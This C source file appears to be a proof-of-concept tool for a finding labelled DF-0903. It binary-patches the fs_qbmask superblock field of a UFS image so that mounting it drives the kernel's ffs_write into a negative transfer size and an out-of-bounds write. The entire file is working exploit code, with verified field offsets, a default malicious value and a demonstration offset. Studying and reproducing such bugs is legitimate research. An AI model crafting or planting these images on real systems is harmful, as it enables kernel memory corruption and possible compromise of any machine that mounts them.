/*
 * craft_img.c - DF-0903 superblock fs_qbmask patcher.
 *
 * Reads a base UFS image produced by `newfs`, binary-patches the
 * fs_qbmask field (8 bytes, little-endian int64) at its on-disk offset
 * (SBOFF=8192 + offsetof(struct fs, fs_qbmask)=1336 => file offset 9528),
 * and writes a crafted image.  Used to reproduce the ffs_write OOB
 * documented in sys/vfs/ufs/ufs_readwrite.c:292-356.
 *
 * Background:
 *   ffs_vfsops.c ffs_mountfs() copies the on-disk superblock into ump->um_fs
 *   with bcopy (line 673) and only re-derives fs_qbmask = ~fs_bmask inside
 *   ffs_oldfscompat() (line 814) IF fs_inodefmt < FS_44INODEFMT (=2).  Modern
 *   newfs sets fs_inodefmt = FS_44INODEFMT, so the on-disk fs_qbmask is used
 *   verbatim and the blkoff() macro in fs.h:487-488 ((loc) & fs_qbmask)
 *   becomes attacker-controlled.
 *
 * Field offsets verified via offsets.c on the guest (struct fs, sizeof=1384):
 *   fs_bsize=48  fs_bmask=72  fs_bshift=80  fs_inodefmt=1324
 *   fs_qbmask=1336  fs_qfmask=1344  fs_postblformat=1356  fs_magic=1372
 *
 * Build: cc -o craft_img craft_img.c
 * Usage: craft_img <base.img> <out.img> [qbmask_hex]
 *   qbmask_hex defaults to 0x3fff (crafted; normally fs_bsize-1 = 0x1fff for
 *   fs_bsize=8192).  Must be > (fs_bsize-1) to make blkoff() > fs_bsize and
 *   thus xfersize = fs_bsize - blkoffset go negative.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>

#define SBOFF 8192

/* offsetof(struct fs, ...) — must match guest offsets.c output. */
#define OFF_FS_BSIZE        48
#define OFF_FS_BMASK        72
#define OFF_FS_BSHIFT       80
#define OFF_FS_INODEFMT  1324
#define OFF_FS_QBMASK    1336   /* int64, 8 bytes */
#define OFF_FS_QFMASK    1344
#define OFF_FS_MAGIC     1372

static int32_t rd_i32(const unsigned char *p){
    return (int32_t)(p[0] | (p[1]<<8) | (p[2]<<16) | ((uint32_t)p[3]<<24));
}
static int64_t rd_i64(const unsigned char *p){
    uint64_t v = 0;
    for (int i=0;i<8;i++) v |= (uint64_t)p[i] << (8*i);
    return (int64_t)v;
}
static void wr_i64(unsigned char *p, int64_t v){
    uint64_t u = (uint64_t)v;
    for (int i=0;i<8;i++) p[i] = (unsigned char)((u >> (8*i)) & 0xff);
}

int main(int argc, char **argv){
    if (argc < 3) {
        fprintf(stderr, "usage: %s base.img out.img [qbmask_hex]\n", argv[0]);
        return 2;
    }
    const char *base = argv[1];
    const char *out  = argv[2];
    int64_t qbmask = 0x3fff;
    if (argc >= 4) {
        qbmask = (int64_t)strtoll(argv[3], NULL, 0);
    }

    FILE *f = fopen(base, "rb");
    if (!f) { perror("open base"); return 2; }
    fseek(f, 0, SEEK_END);
    long sz = ftell(f);
    fseek(f, 0, SEEK_SET);
    unsigned char *buf = malloc(sz);
    if (!buf) { perror("malloc"); return 2; }
    if ((long)fread(buf, 1, sz, f) != sz) { perror("read"); return 2; }
    fclose(f);

    /* Sanity: superblock magic at SBOFF+OFF_FS_MAGIC should be 0x011954. */
    int32_t magic = rd_i32(buf + SBOFF + OFF_FS_MAGIC);
    if (magic != 0x011954) {
        fprintf(stderr, "ERROR: base image fs_magic=0x%x (expected 0x011954)\n",
                (unsigned)magic);
        return 2;
    }
    int32_t fs_bsize    = rd_i32(buf + SBOFF + OFF_FS_BSIZE);
    int32_t fs_bmask    = rd_i32(buf + SBOFF + OFF_FS_BMASK);
    int32_t fs_bshift   = rd_i32(buf + SBOFF + OFF_FS_BSHIFT);
    int32_t fs_inodefmt = rd_i32(buf + SBOFF + OFF_FS_INODEFMT);
    int64_t fs_qbmask_o = rd_i64(buf + SBOFF + OFF_FS_QBMASK);

    printf("BEFORE PATCH:\n");
    printf("  fs_bsize    = %d (0x%x)\n", fs_bsize, (unsigned)fs_bsize);
    printf("  fs_bmask    = 0x%08x\n", (unsigned)fs_bmask);
    printf("  fs_bshift   = %d\n", fs_bshift);
    printf("  fs_inodefmt = %d (FS_44INODEFMT=2; >=2 means on-disk qbmask used verbatim)\n",
           fs_inodefmt);
    printf("  fs_qbmask   = 0x%016llx  (~fs_bmask = 0x%08x)\n",
           (unsigned long long)fs_qbmask_o, (unsigned)(~fs_bmask));

    /* Patch fs_qbmask. */
    wr_i64(buf + SBOFF + OFF_FS_QBMASK, qbmask);

    /* Re-read for confirmation. */
    int64_t fs_qbmask_n = rd_i64(buf + SBOFF + OFF_FS_QBMASK);
    printf("AFTER PATCH:\n");
    printf("  fs_qbmask   = 0x%016llx\n", (unsigned long long)fs_qbmask_n);
    printf("  => blkoff(offset) = offset & 0x%llx\n",
           (unsigned long long)fs_qbmask_n);
    printf("  => xfersize = fs_bsize - blkoffset can go NEGATIVE for offset & 0x%llx >= %d\n",
           (unsigned long long)fs_qbmask_n, fs_bsize);

    /* Pick a sample offset to demonstrate. */
    long long demo = (fs_bsize + (fs_bsize/4)) & fs_qbmask_n; /* ensure within mask */
    if (demo < fs_bsize) demo += fs_bsize; /* push into negative-xfersize region */
    long long demo_xfersize = fs_bsize - demo;
    printf("  demo: write at offset %lld => blkoffset=%lld, xfersize=%lld\n",
           demo, demo, demo_xfersize);

    FILE *o = fopen(out, "wb");
    if (!o) { perror("open out"); return 2; }
    if ((long)fwrite(buf, 1, sz, o) != sz) { perror("write"); return 2; }
    fclose(o);
    free(buf);
    printf("wrote %s (%ld bytes)\n", out, sz);
    return 0;
}
